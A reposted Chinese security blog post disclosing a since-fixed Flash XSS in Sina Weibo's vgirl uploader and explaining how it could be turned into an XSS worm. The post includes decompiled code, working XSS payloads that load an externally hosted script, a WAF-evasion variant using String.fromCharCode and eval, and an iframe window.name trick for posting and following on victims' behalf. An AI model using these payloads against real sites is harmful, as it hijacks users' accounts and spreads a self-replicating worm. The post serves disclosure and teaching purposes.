从新浪微博一处Flash XSS到XSS Worm - APT防御产品

从新浪微博一处Flash XSS到XSS Worm

这是我之前提交到新浪应急响应中心的漏洞,因为我看到新浪已经修复了,所以发出来。

    最近一直在研究一些flash,希望能发现点什么。

    偶然发现这样一个swf:http://vgirl.weibo.com/swf/BlogUp.swf (已修复),一般上传swf、播放器这种地方容易出现xss,这个BlogUp.swf就是上传的flash。

    反编译看看,其中有个函数:

01 private function init(Number:flash.events::Event = null)
02 {
03     // debugfile: F:\flash\blogUp_Vgirl\src;;xblogUploadImage.as
04     stage.scaleMode = StageScaleMode.NO_SCALE;
05     this.bIsUploading = false;
06     this.tList = new Array();
07     removeEventListener(Event.ADDED_TO_STAGE, this.init);
08     var loc0:* = new Sprite();
09     lineStyle();
10     beginFill(00);
11     drawRect(0010001000);
12     loc0.buttonMode = true;
13     loc0.addEventListener(MouseEvent.CLICK, this.onClicked);
14     this.addChild(loc0);
15     var loc2:* = 0;
16     loc0.y = 0;
17     loc0.x = undefined;
18     this.jsonselectfiles = stage.loaderInfo.parameters["onselectfiles"] + "";
19     this.jsonsinglecomplete = stage.loaderInfo.parameters["onsinglecomplete"] + "";
20     this.jsonallcomplete = stage.loaderInfo.parameters["onallcomplete"] + "";
21     this.jsonerror = stage.loaderInfo.parameters["onerror"] + "";
22     this.onUploadStart = stage.loaderInfo.parameters["onUploadStart"] + "";
23     var loc1:* = stage.loaderInfo.parameters["onflashready"] + "";
24     ExternalInterface.addCallback("setup"this.setup);
25     ExternalInterface.addCallback("cancel"this.closeUploader);
26     ExternalInterface.addCallback("setMaxSize"this.setMaxSize);
27     ExternalInterface.call(loc1);
28     return;
29      
30 }


    ExternalInterface.call(loc1);这句话很明显存在一个XSS,loc1是之前获取的GET参数stage.loaderInfo.parameters["onflashready"]。

    我们试试:

    新浪vgirl flash XSS导致微博蠕虫1766.png

    弹了。其实前面几个参数也是存在XSS的,但这个xss最明显,我就不说前几个了。

    如果ExternalInterface.call函数的第一个参数可控的话,我们最好把POC写成这样:http://vgirl.weibo.com/swf/BlogUp.swf?onflashready=(function(){alert(1)}) ,因为他和后面的参数组成了一个执行的代码:

    (function(){alert(1)})(param1, param2, ...)

    因为我们这里这个漏洞没参数,所以最终执行的javascript实际上是(function(){alert(1)})(),我们将alert(1)换成自己的payload就能干想干的事了。

    然后我想提交,来到sina src看到个公告:

    新浪vgirl flash XSS导致微博蠕虫2116.png

    我擦嘞!XSS漏洞都降级了,原因只是因为cookie加了httponly?

    我掐指一算,如果就这样交的话,顶多拿2个金币啊!!

    挖了半天就换这点金币,不行,那么我们想想怎么让我的XSS发挥点作用吧,否则憋屈得很。来个蠕虫吧。

    我关注到vgirl.weibo.com这个站首页是个评分的flash,大概是给MM们评分并分享的。

    新浪vgirl flash XSS导致微博蠕虫2282.png

    有些妹纸还是挺不错的,我喜欢。来分析一下这个flash吧:

    新浪vgirl flash XSS导致微博蠕虫2314.png

    这里有5个API很闪眼睛。分析了一下,实际上第一个是获得妹纸列表的,第二个是给妹纸打分的,第三个是分享到微博的,第四个是获得具体妹纸信息的,第五个是关注这个妹纸的。

    很明显,第三个和第五个是我想要的(为毛不是第一个和第四个?)。我可以利用这俩API和之前的XSS,来让浏览的用户发表任意微博并关注我,造成一个微博蠕虫。

    那么继续分析一下API怎么使用(实际上比看flash代码更简单的方式是抓包,抓包大家都会我就不演示了):

01 private function atShe(arg0:*)
02 {
03     var loc0:* = new URLVariables();
04     loc0.text = arg0.content;
05     loc0.uid = arg0.oid;
06     loc0.img = arg0.picurl;
07     var loc1:* = new URLRequest(this.atApi);
08     loc1.method = URLRequestMethod.POST;
09     loc1.data = new URLVariables();
10     var loc2:* = new URLLoader();
11     load(loc1);
12     return;
13      
14 }
    这是发表微博的函数,实际上就是发送了一个POST数据包,text是要发表的内容,img是妹纸图片,uid是妹纸的用户ID。


    实际上,text可以写任意文字,img可以是任意图片(属于新浪sinaimg.cn的图片,随便找个图片上传接口传一个即可),uid可以不用填写。

    新浪vgirl flash XSS导致微博蠕虫3008.png

    如上图,这样一个数据包即可发表一个微博:

    新浪vgirl flash XSS导致微博蠕虫3032.png

    好,有了这个接口,我们就可以来制作一个蠕虫了。

    首先写一个payload,我用了parsec团队的兔子君写的一个javascript辅助工具love.js(https://github.com/quininer/hisoka/blob/master/doc/LoveJS.md && https://quininer.github.io/tests/love.js)来进行数据包的发送。

    然后传到自己的服务器上:

    http://mhz.pw/game/vgirl/poc.js 

    首先要清楚这一点,新浪整体对CSRF的防御基本是靠Referer来进行的,所以不管在哪发微博,都会检查referer是否来自合法的域。所以我们这个脚本运行在其他地方是不管用的,但因为我们之前找到了一个flash xss,这个flash是处于新浪vgirl域下的,合法合理。

    所以,我们现在的工作就是让这个flash加载我的js文件。

    最早想到这样一个payload:

1 http://vgirl.weibo.com/swf/BlogUp.swf?onflashready=(function(){document.body.appendChild(document.createElement("script")).src="http://mhz.pw/game/vgirl/poc.js"})

    不过运行你会发现,referer是这个的话微博是发送不成功的,我目测是被WAF拦截了还是怎样。

    测试了一下,拦截的是appendChild,这个关键字。

    我想那简单啊,把payload换成

1 eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,41,46,115,114,99,61,34,104,116,116,112,58,47,47,109,104,122,46,112,119,47,103,97,109,101,47,118,103,105,114,108,47,118,103,105,114,108,46,106,115,34))

    就没关键字了。结果执行发现,URL太长了,flash加载不上。

    再想想,如何把URL变短,还要没有关键字?当然是用window.name咯:

1 <iframe src="http://vgirl.weibo.com/swf/BlogUp.swf?onflashready=(function(){setTimeout(window.name,0)})" name="document.body.appendChild(document.createElement('script')).src='http://mhz.pw/game/vgirl/poc.js'" id="vg">

    把EXP放在iframe的name里,然后实际的payload就是setTimeout(window.name,0),执行了window.name等于执行了我的EXP。

    将代码美化一下,传到服务器上。

    访问即可发布类似这样的微博:

    新浪vgirl flash XSS导致微博蠕虫4551.png

    如果换成吸引人的文字和图片,这样,我的粉丝看了以后,多半是会点进去看看。一旦访问这个链接,也会发表这样一个微博。

    这样一传十十传百。

    形成一个XSS蠕虫,危害很大。同样,我还可以发送一个关注我的数据包,在蠕动的同时,也能无限涨粉。

    碍于法律的限制,我就不做测试了。关于新浪微博蠕虫,我曾经是有测试过的:http://wooyun.org/bugs/wooyun-2010-065761,在这里可以看到效果图,和厂商回复。

    测试有风险,蠕动需谨慎啊……

文章转自:离别歌


转载请注明出处 APT防御产品 » 从新浪微博一处Flash XSS到XSS Worm

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址